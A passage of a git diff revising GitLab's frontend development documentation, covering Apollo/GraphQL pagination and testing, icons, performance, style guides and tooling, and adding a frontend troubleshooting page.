getAuthorData($authorNameEnabled: Boolean = false) { ``` Then in the Vue (or JavaScript) call to the query we can pass in our feature flag. This feature -flag will need to be already setup correctly. See the [feature flag documentation](../feature_flags/development.md) +flag needs to be already set up correctly. See the [feature flag documentation](../feature_flags/development.md) for the correct way to do this. ```javascript @@ -469,7 +536,7 @@ Note that we are using the [`pageInfo.fragment.graphql`](https://gitlab.com/gitl #### Using `fetchMore` method in components -This approach makes sense to use with user-handled pagination (e.g. when the scrolls to fetch more data or explicitly clicks a "Next Page"-button). +This approach makes sense to use with user-handled pagination. For example, when the scrolling to fetch more data or explicitly clicking a **Next Page** button. When we need to fetch all the data initially, it is recommended to use [a (non-smart) query, instead](#using-a-recursive-query-in-components). When making an initial fetch, we usually want to start a pagination from the beginning. @@ -479,7 +546,7 @@ In this case, we can either: - Pass `null` explicitly to `after`. After data is fetched, we can use the `update`-hook as an opportunity [to customize -the data that is set in the Vue component property](https://apollo.vuejs.org/api/smart-query.html#options), getting a hold of the `pageInfo` object among other data. +the data that is set in the Vue component property](https://apollo.vuejs.org/api/smart-query.html#options). This allows us to get a hold of the `pageInfo` object among other data. In the `result`-hook, we can inspect the `pageInfo` object to see if we need to fetch the next page. Note that we also keep a `requestCount` to ensure that the application @@ -561,8 +628,8 @@ fetchNextPage(endCursor) { When it is necessary to fetch all paginated data initially an Apollo query can do the trick for us. If we need to fetch the next page based on user interactions, it is recommend to use a [`smartQuery`](https://apollo.vuejs.org/api/smart-query.html) along with the [`fetchMore`-hook](#using-fetchmore-method-in-components). -When the query resolves we can update the component data and inspect the `pageInfo` object -to see if we need to fetch the next page, i.e. call the method recursively. +When the query resolves we can update the component data and inspect the `pageInfo` object. This allows us +to see if we need to fetch the next page, calling the method recursively. Note that we also keep a `requestCount` to ensure that the application does not keep requesting the next page, indefinitely. @@ -634,7 +701,7 @@ or [`.writeQuery()`](https://www.apollographql.com/docs/react/v2/api/apollo-clie This can be tedious and counter-intuitive. To make it easier to deal with cached paginated queries, Apollo provides the `@connection` directive. -The directive accepts a `key` parameter that will be used as a static key when caching the data. +The directive accepts a `key` parameter that is used as a static key when caching the data. You'd then be able to retrieve the data without providing any pagination-specific variables. Here's an example of a query using the `@connection` directive: @@ -661,7 +728,7 @@ query DastSiteProfiles($fullPath: ID!, $after: String, $before: String, $first: } ``` -In this example, Apollo will store the data with the stable `dastSiteProfiles` cache key. +In this example, Apollo stores the data with the stable `dastSiteProfiles` cache key. To retrieve that data from the cache, you'd then only need to provide the `$fullPath` variable, omitting pagination-specific variables like `after` or `before`: @@ -679,9 +746,9 @@ Read more about the `@connection` directive in [Apollo's documentation](https:// ### Managing performance -The Apollo client will batch queries by default. This means that if you have 3 queries defined, -Apollo will group them into one request, send the single request off to the server and only -respond once all 3 queries have completed. +The Apollo client batches queries by default. Given 3 deferred queries, +Apollo groups them into one request, sends the single request to the server, and +responds after all 3 queries have completed. If you need to have queries sent as individual requests, additional context can be provided to tell Apollo to do this. @@ -703,9 +770,13 @@ export default { #### Mocking response as component data -With [Vue test utils](https://vue-test-utils.vuejs.org/) it is easy to quickly test components that +<!-- vale gitlab.Spelling = NO --> + +With [Vue Test Utils](https://vue-test-utils.vuejs.org/) one can quickly test components that fetch GraphQL queries. The simplest way is to use `shallowMount` and then set -the data on the component +the data on the component: + +<!-- vale gitlab.Spelling = YES --> ```javascript it('tests apollo component', () => { @@ -719,7 +790,7 @@ it('tests apollo component', () => { #### Testing loading state -If we need to test how our component renders when results from the GraphQL API are still loading, we can mock a loading state into respective Apollo queries/mutations: +To test how a component renders when results from the GraphQL API are still loading, mock a loading state into respective Apollo queries/mutations: ```javascript function createComponent({ @@ -817,9 +888,9 @@ it('calls mutation on submitting form ', () => { To test the logic of Apollo cache updates, we might want to mock an Apollo Client in our unit tests. We use [`mock-apollo-client`](https://www.npmjs.com/package/mock-apollo-client) library to mock Apollo client and [`createMockApollo` helper](https://gitlab.com/gitlab-org/gitlab/-/blob/master/spec/frontend/__helpers__/mock_apollo_helper.js) we created on top of it. -To separate tests with mocked client from 'usual' unit tests, it's recommended to create an additional factory and pass the created `mockApollo` as an option to the `createComponent`-factory. This way we only create Apollo Client instance when it's necessary. +To separate tests with mocked client from 'usual' unit tests, create an additional factory and pass the created `mockApollo` as an option to the `createComponent`-factory. This way we only create Apollo Client instance when it's necessary. -We need to inject `VueApollo` to the Vue local instance and, likewise, it is recommended to call `localVue.use()` within `createMockApolloProvider()` to only load it when it is necessary. +We need to inject `VueApollo` to the Vue local instance and, likewise, it is recommended to call `localVue.use()` in `createMockApolloProvider()` to only load it when it is necessary. ```javascript import VueApollo from 'vue-apollo'; @@ -861,7 +932,7 @@ describe('Some component', () => { }); ``` -Within `createMockApolloProvider`-factory, we need to define an array of _handlers_ for every query or mutation: +In the `createMockApolloProvider`-factory, we need to define an array of _handlers_ for every query or mutation: ```javascript import getDesignListQuery from '~/design_management/graphql/queries/get_design_list.query.graphql'; @@ -1251,9 +1322,9 @@ describe('My Index test with `createMockApollo`', () => { ## Handling errors -The GitLab GraphQL mutations currently have two distinct error modes: [Top-level](#top-level-errors) and [errors-as-data](#errors-as-data). +The GitLab GraphQL mutations have two distinct error modes: [Top-level](#top-level-errors) and [errors-as-data](#errors-as-data). -When utilising a GraphQL mutation, we must consider handling **both of these error modes** to ensure that the user receives the appropriate feedback when an error occurs. +When utilising a GraphQL mutation, consider handling **both of these error modes** to ensure that the user receives the appropriate feedback when an error occurs. ### Top-level errors @@ -1261,13 +1332,13 @@ These errors are located at the "top level" of a GraphQL response. These are non #### Handling top-level errors -Apollo is aware of top-level errors, so we are able to leverage Apollo's various error-handling mechanisms to handle these errors (e.g. handling Promise rejections after invoking the [`mutate`](https://www.apollographql.com/docs/react/api/core/ApolloClient/#ApolloClient.mutate) method, or handling the `error` event emitted from the [`ApolloMutation`](https://apollo.vuejs.org/api/apollo-mutation.html#events) component). +Apollo is aware of top-level errors, so we are able to leverage Apollo's various error-handling mechanisms to handle these errors. For example, handling Promise rejections after invoking the [`mutate`](https://www.apollographql.com/docs/react/api/core/ApolloClient/#ApolloClient.mutate) method, or handling the `error` event emitted from the [`ApolloMutation`](https://apollo.vuejs.org/api/apollo-mutation.html#events) component. Because these errors are not intended for users, error messages for top-level errors should be defined client-side. ### Errors-as-data -These errors are nested within the `data` object of a GraphQL response. These are recoverable errors that, ideally, can be presented directly to the user. +These errors are nested in the `data` object of a GraphQL response. These are recoverable errors that, ideally, can be presented directly to the user. #### Handling errors-as-data @@ -1283,7 +1354,7 @@ mutation createNoteMutation($input: String!) { } ``` -Now, when we commit this mutation and errors occur, the response will include `errors` for us to handle: +Now, when we commit this mutation and errors occur, the response includes `errors` for us to handle: ```javascript { @@ -1316,7 +1387,7 @@ When [using Vuex](#using-with-vuex), disable the cache when: - The data is being cached elsewhere - The use case does not need caching -if the data is being cached elsewhere, or if there is simply no need for it for the given use case. +if the data is being cached elsewhere, or if there is no need for it for the given use case. ```javascript import createDefaultClient from '~/lib/graphql'; @@ -1416,7 +1487,7 @@ for your application. To add GraphQL startup calls, we use `add_page_startup_graphql_call` helper where the first parameter is a path to the query, the second one is an object containing query variables. Path to the query is relative to `app/graphql/queries` folder: for example, if we need a -`app/graphql/queries/repository/files.query.graphql` query, the path will be +`app/graphql/queries/repository/files.query.graphql` query, the path is `repository/files`. ```yaml diff --git a/doc/development/fe_guide/icons.md b/doc/development/fe_guide/icons.md index af587a31bbb..a7b62fbb267 100644 --- a/doc/development/fe_guide/icons.md +++ b/doc/development/fe_guide/icons.md @@ -26,11 +26,11 @@ To use a sprite Icon in HAML or Rails we use a specific helper function: sprite_icon(icon_name, size: nil, css_class: '') ``` -- **icon_name**: Use the icon_name for the SVG sprite in the list of +- **`icon_name`**: Use the `icon_name` for the SVG sprite in the list of ([GitLab SVGs](https://gitlab-org.gitlab.io/gitlab-svgs)). -- **size (optional)**: Use one of the following sizes : 16, 24, 32, 48, 72 (this +- **`size` (optional)**: Use one of the following sizes : 16, 24, 32, 48, 72 (this is translated into a `s16` class) -- **css_class (optional)**: If you want to add additional CSS classes. +- **`css_class` (optional)**: If you want to add additional CSS classes. **Example** @@ -100,7 +100,7 @@ by the examples that follow: - `container` (optional): wraps the loading icon in a container, which centers the loading icon using the `text-center` CSS property. - `color` (optional): either `orange` (default), `light`, or `dark`. - `size` (optional): either `sm` (default), `md`, `lg`, or `xl`. -- `css_class` (optional): defaults to an empty string, but can be useful for utility classes to fine-tune alignment or spacing. +- `css_class` (optional): defaults to an empty string, but can be used for utility classes to fine-tune alignment or spacing. **Example 1:** @@ -164,8 +164,8 @@ export default { ## SVG Illustrations -Please use from now on for any SVG based illustrations simple `img` tags to show an illustration by simply using either `image_tag` or `image_path` helpers. -Please use the class `svg-content` around it to ensure nice rendering. +From now on, use `img` tags to display any SVG based illustrations with either `image_tag` or `image_path` helpers. +Using the class `svg-content` around it ensures nice rendering. ### Usage in HAML/Rails diff --git a/doc/development/fe_guide/index.md b/doc/development/fe_guide/index.md index 84c1623f8c0..711c6a5f875 100644 --- a/doc/development/fe_guide/index.md +++ b/doc/development/fe_guide/index.md @@ -11,8 +11,11 @@ across the GitLab frontend team. ## Overview -GitLab is built on top of [Ruby on Rails](https://rubyonrails.org) using [Haml](https://haml.info/) and also a JavaScript based Frontend with [Vue.js](https://vuejs.org). -Be wary of [the limitations that come with using Hamlit](https://github.com/k0kubun/hamlit/blob/master/REFERENCE.md#limitations). We also use [SCSS](https://sass-lang.com) and plain JavaScript with +GitLab is built on top of [Ruby on Rails](https://rubyonrails.org). It uses [Haml](https://haml.info/) and a JavaScript0based frontend with [Vue.js](https://vuejs.org). +<!-- vale gitlab.Spelling = NO --> +Be wary of [the limitations that come with using Hamlit](https://github.com/k0kubun/hamlit/blob/master/REFERENCE.md#limitations). +<!-- vale gitlab.Spelling = YES --> +We also use [SCSS](https://sass-lang.com) and plain JavaScript with modern ECMAScript standards supported through [Babel](https://babeljs.io/) and ES module support through [webpack](https://webpack.js.org/). Working with our frontend assets requires Node (v10.13.0 or greater) and Yarn @@ -21,7 +24,7 @@ Working with our frontend assets requires Node (v10.13.0 or greater) and Yarn ### Browser Support -For our currently-supported browsers, see our [requirements](../../install/requirements.md#supported-web-browsers). +For supported browsers, see our [requirements](../../install/requirements.md#supported-web-browsers). Use [BrowserStack](https://www.browserstack.com/) to test with our supported browsers. Sign in to BrowserStack with the credentials saved in the **Engineering** vault of the GitLab @@ -56,7 +59,11 @@ Reusable components with technical and usage guidelines can be found in our ## Design Patterns -Common JavaScript [design patterns](design_patterns.md) in the GitLab codebase. +JavaScript [design patterns](design_patterns.md) in the GitLab codebase. + +## Design Anti-patterns + +JavaScript [design anti-patterns](design_anti_patterns.md) we try to avoid. ## Vue.js Best Practices @@ -121,3 +128,7 @@ Our accessibility standards and resources. Frontend internationalization support is described in [this document](../i18n/). The [externalization part of the guide](../i18n/externalization.md) explains the helpers/methods available. + +## [Troubleshooting](troubleshooting.md) + +Running into a Frontend development problem? Check out [this guide](troubleshooting.md) to help resolve your issue. diff --git a/doc/development/fe_guide/performance.md b/doc/development/fe_guide/performance.md index aac2258f3a3..795de87d309 100644 --- a/doc/development/fe_guide/performance.md +++ b/doc/development/fe_guide/performance.md @@ -202,15 +202,15 @@ help identify marks and measures coming from the different apps on the same page ## Best Practices -### Realtime Components +### Real-time Components -When writing code for realtime features we have to keep a couple of things in mind: +When writing code for real-time features we have to keep a couple of things in mind: 1. Do not overload the server with requests. -1. It should feel realtime. +1. It should feel real-time. -Thus, we must strike a balance between sending requests and the feeling of realtime. -Use the following rules when creating realtime solutions. +Thus, we must strike a balance between sending requests and the feeling of real-time. +Use the following rules when creating real-time solutions. 1. The server tells you how much to poll by sending `Poll-Interval` in the header. Use that as your polling interval. This enables system administrators to change the @@ -219,9 +219,9 @@ Use the following rules when creating realtime solutions. 1. A response with HTTP status different from 2XX should disable polling as well. 1. Use a common library for polling. 1. Poll on active tabs only. Please use [Visibility](https://github.com/ai/visibilityjs). -1. Use regular polling intervals, do not use backoff polling, or jitter, as the interval is +1. Use regular polling intervals, do not use <!-- vale gitlab.Spelling = NO --> backoff polling <!-- vale gitlab.Spelling = YES --> or jitter, as the interval is controlled by the server. -1. The backend code is likely to be using etags. You do not and should not check for status +1. The backend code is likely to be using ETags. You do not and should not check for status `304 Not Modified`. The browser transforms it for you. ### Lazy Loading Images @@ -230,12 +230,12 @@ To improve the time to first render we are using lazy loading for images. This w the actual image source on the `data-src` attribute. After the HTML is rendered and JavaScript is loaded, the value of `data-src` is moved to `src` automatically if the image is in the current viewport. -- Prepare images in HTML for lazy loading by renaming the `src` attribute to `data-src` AND adding the class `lazy`. +- Prepare images in HTML for lazy loading by renaming the `src` attribute to `data-src` and adding the class `lazy`. - If you are using the Rails `image_tag` helper, all images are lazy-loaded by default unless `lazy: false` is provided. -If you are asynchronously adding content which contains lazy images then you need to call the function +When asynchronously adding content which contains lazy images, call the function `gl.lazyLoader.searchLazyImages()` which searches for lazy images and loads them if needed. -But in general it should be handled automatically through a `MutationObserver` in the lazy loading function. +In general, it should be handled automatically through a `MutationObserver` in the lazy loading function. ### Animations @@ -243,7 +243,7 @@ Only animate `opacity` & `transform` properties. Other properties (such as `top` Layout to be recalculated, which is much more expensive. For details on this, see "Styles that Affect Layout" in [High Performance Animations](https://www.html5rocks.com/en/tutorials/speed/high-performance-animations/). -If you _do_ need to change layout (for example, a sidebar that pushes main content over), prefer [FLIP](https://aerotwist.com/blog/flip-your-animations/) to change expensive +If you _do_ need to change layout (for example, a sidebar that pushes main content over), prefer [FLIP](https://aerotwist.com/blog/flip-your-animations/). FLIP allows you to change expensive properties once, and handle the actual animation with transforms. ## Reducing Asset Footprint @@ -251,7 +251,7 @@ properties once, and handle the actual animation with transforms. ### Universal code Code that is contained in `main.js` and `commons/index.js` is loaded and -run on _all_ pages. **DO NOT ADD** anything to these files unless it is truly +run on _all_ pages. **Do not add** anything to these files unless it is truly needed _everywhere_. These bundles include ubiquitous libraries like `vue`, `axios`, and `jQuery`, as well as code for the main navigation and sidebar. Where possible we should aim to remove modules from these bundles to reduce our @@ -277,9 +277,9 @@ manually generated webpack bundles. However under this new system you should not ever need to manually add an entry point to the `webpack.config.js` file. NOTE: -If you are unsure what controller and action corresponds to a given page, you -can find this out by inspecting `document.body.dataset.page` in your -browser's developer console while on any page in GitLab. +When unsure what controller and action corresponds to a page, +inspect `document.body.dataset.page` in your +browser's developer console from any page in GitLab. #### Important Considerations @@ -294,7 +294,7 @@ browser's developer console while on any page in GitLab. All GitLab JavaScript files are added with the `defer` attribute. According to the [Mozilla documentation](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/script#attr-defer), this implies that "the script is meant to be executed after the document has - been parsed, but before firing `DOMContentLoaded`". Since the document is already + been parsed, but before firing `DOMContentLoaded`". Because the document is already parsed, `DOMContentLoaded` is not needed to bootstrap applications because all the DOM nodes are already at our disposal. @@ -333,7 +333,7 @@ browser's developer console while on any page in GitLab. action(); ``` - For example, see how we use this in [app/assets/javascripts/pages/projects/graphs/charts/index.js](https://gitlab.com/gitlab-org/gitlab/-/commit/5e90885d6afd4497002df55bf015b338efcfc3c5#02e81de37f5b1716a3ef3222fa7f7edf22c40969_9_8): + For example, see how we use this in [`app/assets/javascripts/pages/projects/graphs/charts/index.js`](https://gitlab.com/gitlab-org/gitlab/-/commit/5e90885d6afd4497002df55bf015b338efcfc3c5#02e81de37f5b1716a3ef3222fa7f7edf22c40969_9_8): ```javascript waitForCSSLoaded(() => { @@ -366,9 +366,9 @@ browser's developer console while on any page in GitLab. ### Code Splitting -For any code that does not need to be run immediately upon page load, (for example, -modals, dropdowns, and other behaviors that can be lazy-loaded), you can split -your module into asynchronous chunks with dynamic import statements. These +Code that does not need to be run immediately upon page load (for example, +modals, dropdowns, and other behaviors that can be lazy-loaded) should be split +into asynchronous chunks with dynamic import statements. These imports return a Promise which is resolved after the script has loaded: ```javascript @@ -377,16 +377,16 @@ import(/* webpackChunkName: 'emoji' */ '~/emoji') .catch(/* report error */) ``` -Please try to use `webpackChunkName` when generating these dynamic imports as +Use `webpackChunkName` when generating dynamic imports as it provides a deterministic filename for the chunk which can then be cached -the browser across GitLab versions. +in the browser across GitLab versions. More information is available in [webpack's code splitting documentation](https://webpack.js.org/guides/code-splitting/#dynamic-imports). ### Minimizing page size -A smaller page size means the page loads faster (especially important on mobile -and poor connections), the page is parsed more quickly by the browser, and less +A smaller page size means the page loads faster, especially on mobile +and poor connections. The page is parsed more quickly by the browser, and less data is used for users with capped data plans. General tips: diff --git a/doc/development/fe_guide/security.md b/doc/development/fe_guide/security.md index 627c5f4d12f..df4613d521d 100644 --- a/doc/development/fe_guide/security.md +++ b/doc/development/fe_guide/security.md @@ -8,7 +8,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w ## Resources -[Mozilla’s HTTP Observatory CLI](https://github.com/mozilla/http-observatory-cli) and the +[Mozilla’s HTTP Observatory CLI](https://github.com/mozilla/http-observatory-cli) and [Qualys SSL Labs Server Test](https://www.ssllabs.com/ssltest/analyze.html) are good resources for finding potential problems and ensuring compliance with security best practices. @@ -76,7 +76,7 @@ such as with reCAPTCHA, which cannot be used without an `iframe`. In order to protect users from [XSS vulnerabilities](https://en.wikipedia.org/wiki/Cross-site_scripting), we intend to disable inline scripts in the future using Content Security Policy. -While inline scripts can be useful, they're also a security concern. If +While inline scripts can make something easier, they're also a security concern. If user-supplied content is unintentionally left un-sanitized, malicious users can inject scripts into the web app. diff --git a/doc/development/fe_guide/style/html.md b/doc/development/fe_guide/style/html.md index 7fedbc6ce0d..e53686de1a0 100644 --- a/doc/development/fe_guide/style/html.md +++ b/doc/development/fe_guide/style/html.md @@ -6,6 +6,38 @@ info: To determine the technical writer assigned to the Stage/Group associated w # HTML style guide +## Semantic elements + +[Semantic elements](https://developer.mozilla.org/en-US/docs/Glossary/Semantics) are HTML tags that +give semantic (rather than presentational) meaning to the data they contain. For example: + +- [`<article>`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/article) +- [`<nav>`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/nav) +- [`<strong>`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/strong) + +Prefer using semantic tags, but only if the intention is truly accurate with the semantic meaning +of the tag itself. View the [MDN documentation](https://developer.mozilla.org/en-US/docs/Web/HTML/Element) +for a description on what each tag semantically means. + +```html +<!-- bad - could use semantic tags instead of div's. --> +<div class="..."> + <p> + <!-- bad - this isn't what "strong" is meant for. --> + Simply visit your <strong>Settings</strong> to say hello to the world. + </p> + <div class="...">...</div> +</div> + +<!-- good - prefer semantic classes used accurately --> +<section class="..."> + <p> + Simply visit your <span class="gl-font-weight-bold">Settings</span> to say hello to the world. + </p> + <footer class="...">...</footer> +</section> +``` + ## Buttons ### Button type diff --git a/doc/development/fe_guide/style/javascript.md b/doc/development/fe_guide/style/javascript.md index faf03a03101..5c35b880eab 100644 --- a/doc/development/fe_guide/style/javascript.md +++ b/doc/development/fe_guide/style/javascript.md @@ -14,7 +14,7 @@ In addition to the style guidelines set by Airbnb, we also have a few specific r listed below. NOTE: -You can run eslint locally by running `yarn eslint` +You can run ESLint locally by running `yarn eslint` ## Avoid forEach diff --git a/doc/development/fe_guide/style/scss.md b/doc/development/fe_guide/style/scss.md index a4cae12c4f3..1d0b3c2b7fc 100644 --- a/doc/development/fe_guide/style/scss.md +++ b/doc/development/fe_guide/style/scss.md @@ -12,7 +12,7 @@ easy to maintain, and performant for the end-user. ## Rules -Our CSS is a mixture of current and legacy approaches. That means sometimes it may be difficult to follow this guide to the letter; it means you are likely to run into exceptions, where following the guide is difficult to impossible without outsized effort. In those cases, you may work with your reviewers and maintainers to identify an approach that does not fit these rules. Please endeavor to limit these cases. +Our CSS is a mixture of current and legacy approaches. That means sometimes it may be difficult to follow this guide to the letter; it means you are likely to run into exceptions, where following the guide is difficult to impossible without major effort. In those cases, you may work with your reviewers and maintainers to identify an approach that does not fit these rules. Please endeavor to limit these cases. ### Utility Classes @@ -20,15 +20,19 @@ In order to reduce the generation of more CSS as our site grows, prefer the use #### Where are utility classes defined? -Prefer the use of [utility classes defined in GitLab UI](https://gitlab.com/gitlab-org/gitlab-ui/-/blob/master/doc/css.md#utilities). An easy list of classes can also be [seen on Unpkg](https://unpkg.com/browse/@gitlab/ui/src/scss/utilities.scss). +Prefer the use of [utility classes defined in GitLab UI](https://gitlab.com/gitlab-org/gitlab-ui/-/blob/main/doc/css.md#utilities). +<!-- vale gitlab.Spelling = NO --> +An easy list of classes can also be [seen on Unpkg](https://unpkg.com/browse/@gitlab/ui/src/scss/utilities.scss). +<!-- vale gitlab.Spelling = YES --> -Classes in [`utilities.scss`](https://gitlab.com/gitlab-org/gitlab/blob/master/app/assets/stylesheets/utilities.scss) and [`common.scss`](https://gitlab.com/gitlab-org/gitlab/blob/master/app/assets/stylesheets/framework/common.scss) are being deprecated. Classes in [`common.scss`](https://gitlab.com/gitlab-org/gitlab/blob/master/app/assets/stylesheets/framework/common.scss) that use non-design system values should be avoided in favor of conformant values. +Classes in [`utilities.scss`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/assets/stylesheets/utilities.scss) and [`common.scss`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/assets/stylesheets/framework/common.scss) are being deprecated. +Classes in [`common.scss`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/assets/stylesheets/framework/common.scss) that use non-design-system values should be avoided. Use classes with conforming values instead. Avoid [Bootstrap's Utility Classes](https://getbootstrap.com/docs/4.3/utilities/). NOTE: While migrating [Bootstrap's Utility Classes](https://getbootstrap.com/docs/4.3/utilities/) -to the [GitLab UI](https://gitlab.com/gitlab-org/gitlab-ui/-/blob/master/doc/css.md#utilities) +to the [GitLab UI](https://gitlab.com/gitlab-org/gitlab-ui/-/blob/main/doc/css.md#utilities) utility classes, note both the classes for margin and padding differ. The size scale used at GitLab differs from the scale used in the Bootstrap library. For a Bootstrap padding or margin utility, you may need to double the size of the applied utility to achieve the same visual @@ -36,9 +40,9 @@ result (such as `ml-1` becoming `gl-ml-2`). #### Where should I put new utility classes? -If a class you need has not been added to GitLab UI, you get to add it! Follow the naming patterns documented in the [utility files](https://gitlab.com/gitlab-org/gitlab-ui/-/tree/master/src/scss/utility-mixins) and refer to [GitLab UI's CSS documentation](https://gitlab.com/gitlab-org/gitlab-ui/-/blob/master/doc/contributing/adding_css.md#adding-utility-mixins) for more details, especially about adding responsive and stateful rules. +If a class you need has not been added to GitLab UI, you get to add it! Follow the naming patterns documented in the [utility files](https://gitlab.com/gitlab-org/gitlab-ui/-/tree/main/src/scss/utility-mixins) and refer to [GitLab UI's CSS documentation](https://gitlab.com/gitlab-org/gitlab-ui/-/blob/main/doc/contributing/adding_css.md#adding-utility-mixins) for more details, especially about adding responsive and stateful rules. -If it is not possible to wait for a GitLab UI update (generally one day), add the class to [`utilities.scss`](https://gitlab.com/gitlab-org/gitlab/blob/master/app/assets/stylesheets/utilities.scss) following the same naming conventions documented in GitLab UI. A follow—up issue to backport the class to GitLab UI and delete it from GitLab should be opened. +If it is not possible to wait for a GitLab UI update (generally one day), add the class to [`utilities.scss`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/assets/stylesheets/utilities.scss) following the same naming conventions documented in GitLab UI. A follow—up issue to backport the class to GitLab UI and delete it from GitLab should be opened. #### When should I create component classes? @@ -47,7 +51,7 @@ We recommend a "utility-first" approach. 1. Start with utility classes. 1. If composing utility classes into a component class removes code duplication and encapsulates a clear responsibility, do it. -This encourages an organic growth of component classes and prevents the creation of one-off unreusable classes. Also, the kind of classes that emerge from "utility-first" tend to be design-centered (e.g. `.button`, `.alert`, `.card`) rather than domain-centered (e.g. `.security-report-widget`, `.commit-header-icon`). +This encourages an organic growth of component classes and prevents the creation of one-off non-reusable classes. Also, the kind of classes that emerge from "utility-first" tend to be design-centered (e.g. `.button`, `.alert`, `.card`) rather than domain-centered (e.g. `.security-report-widget`, `.commit-header-icon`). Inspiration: @@ -143,7 +147,7 @@ documentation includes [a full list of their linters](https://github.com/sds/scs If you want to automate changing a large portion of the codebase to conform to the SCSS style guide, you can use [CSSComb](https://github.com/csscomb/csscomb.js). First install -[Node](https://github.com/nodejs/node) and [NPM](https://www.npmjs.com/), then run `npm install csscomb -g` to install +[Node](https://github.com/nodejs/node) and [npm](https://www.npmjs.com/), then run `npm install csscomb -g` to install CSSComb globally (system-wide). Run it in the GitLab directory with `csscomb app/assets/stylesheets` to automatically fix issues with CSS/SCSS. diff --git a/doc/development/fe_guide/style_guide_js.md b/doc/development/fe_guide/style_guide_js.md deleted file mode 100644 index 73a5bea189d..00000000000 --- a/doc/development/fe_guide/style_guide_js.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: 'style/javascript.md' ---- - -This document was moved to [another location](style/javascript.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/fe_guide/style_guide_scss.md b/doc/development/fe_guide/style_guide_scss.md deleted file mode 100644 index eaa6d33fb43..00000000000 --- a/doc/development/fe_guide/style_guide_scss.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: 'style/scss.md' ---- - -This document was moved to [another location](style/scss.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/fe_guide/testing.md b/doc/development/fe_guide/testing.md deleted file mode 100644 index 457d15235ae..00000000000 --- a/doc/development/fe_guide/testing.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../testing_guide/frontend_testing.md' ---- - -This document was moved to [another location](../testing_guide/frontend_testing.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/fe_guide/tooling.md b/doc/development/fe_guide/tooling.md index d33022b9355..7a2d8fccdbf 100644 --- a/doc/development/fe_guide/tooling.md +++ b/doc/development/fe_guide/tooling.md @@ -111,7 +111,7 @@ preferred editor (all major editors are supported) accordingly. We suggest setting up Prettier to run when each file is saved. For instructions about using Prettier in your preferred editor, see the [Prettier documentation](https://prettier.io/docs/en/editors.html). -Please take care that you only let Prettier format the same file types as the global Yarn script does (`.js`, `.vue`, `.graphql`, and `.scss`). In VSCode by example you can easily exclude file formats in your settings file: +Please take care that you only let Prettier format the same file types as the global Yarn script does (`.js`, `.vue`, `.graphql`, and `.scss`). For example, you can exclude file formats in your Visual Studio Code settings file: ```json "prettier.disableLanguages": [ @@ -128,13 +128,13 @@ The following yarn scripts are available to do global formatting: yarn prettier-staged-save ``` -Updates all currently staged files (based on `git diff`) with Prettier and saves the needed changes. +Updates all staged files (based on `git diff`) with Prettier and saves the needed changes. ```shell yarn prettier-staged ``` -Checks all currently staged files (based on `git diff`) with Prettier and log which files would need manual updating to the console. +Checks all staged files (based on `git diff`) with Prettier and log which files would need manual updating to the console. ```shell yarn prettier-all diff --git a/doc/development/fe_guide/troubleshooting.md b/doc/development/fe_guide/troubleshooting.md new file mode 100644 index 00000000000..abaf9cd68c7 --- /dev/null +++ b/doc/development/fe_guide/troubleshooting.md @@ -0,0 +1,41 @@ +--- +stage: none +group: unassigned +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +--- + +# Troubleshooting + +Running into a problem? Maybe this will help ¯\＿(ツ)＿/¯. + +## Troubleshooting issues + +### This guide doesn't contain the issue I ran into + +If you run into a Frontend development issue that is not in this guide, please consider updating this guide with your issue and possible remedies. This way future adventurers can face these dragons with more success, being armed with your experience and knowledge. + +## Testing issues + +### ``Property or method `nodeType` is not defined`` but I'm not using `nodeType` anywhere + +This issue can happen in Vue component tests, when an expectation fails, but there is an error thrown when +Jest tries to pretty print the diff in the console. It's been noted that using `toEqual` with an array as a +property might also be a contributing factor. + +See [this video](https://youtu.be/-BkEhghP-kM) for an in-depth overview and investigation. + +**Remedy - Try cloning the object that has Vue watchers** + +```patch +- expect(wrapper.find(ChildComponent).props()).toEqual(...); ++ expect(cloneDeep(wrapper.find(ChildComponent).props())).toEqual(...) +``` + +**Remedy - Try using `toMatchObject` instead of `toEqual`** + +```patch +- expect(wrapper.find(ChildComponent).props()).toEqual(...); ++ expect(wrapper.find(ChildComponent).props()).toMatchObject(...); +``` + +Please note that `toMatchObject` actually changes the nature of the assertion and won't fail if some items are **missing** from the expectation. diff --git a/doc/development/fe_guide/vue.md b/doc/development/fe_guide/vue.md index b3fbb9556a9..5b902e1b16e 100644 --- a/doc/development/fe_guide/vue.md +++ b/doc/development/fe_guide/vue.md @@ -20,9 +20,9 @@ What is described in the following sections can be found in these examples: All new features built with Vue.js must follow a [Flux architecture](https://facebook.github.io/flux/). The main goal we are trying to achieve is to have only one data flow and only one data entry. -In order to achieve this goal we use [vuex](#vuex). +In order to achieve this goal we use [Vuex](#vuex). -You can also read about this architecture in Vue docs about +You can also read about this architecture in Vue documentation about [state management](https://vuejs.org/v2/guide/state-management.html#Simple-State-Management-from-Scratch) and about [one way data flow](https://vuejs.org/v2/guide/components.html#One-Way-Data-Flow). @@ -70,7 +70,7 @@ The advantage of providing data from the DOM to the Vue instance through `props` function instead of querying the DOM inside the main Vue component is avoiding the need to create a fixture or an HTML element in the unit test, which makes the tests easier. -See the following example, also, please refer to our [Vue style guide](style/vue.md#basic-rules) for +See the following example. Also, please refer to our [Vue style guide](style/vue.md#basic-rules) for additional information on why we explicitly declare the data being passed into the Vue app; ```javascript @@ -101,8 +101,8 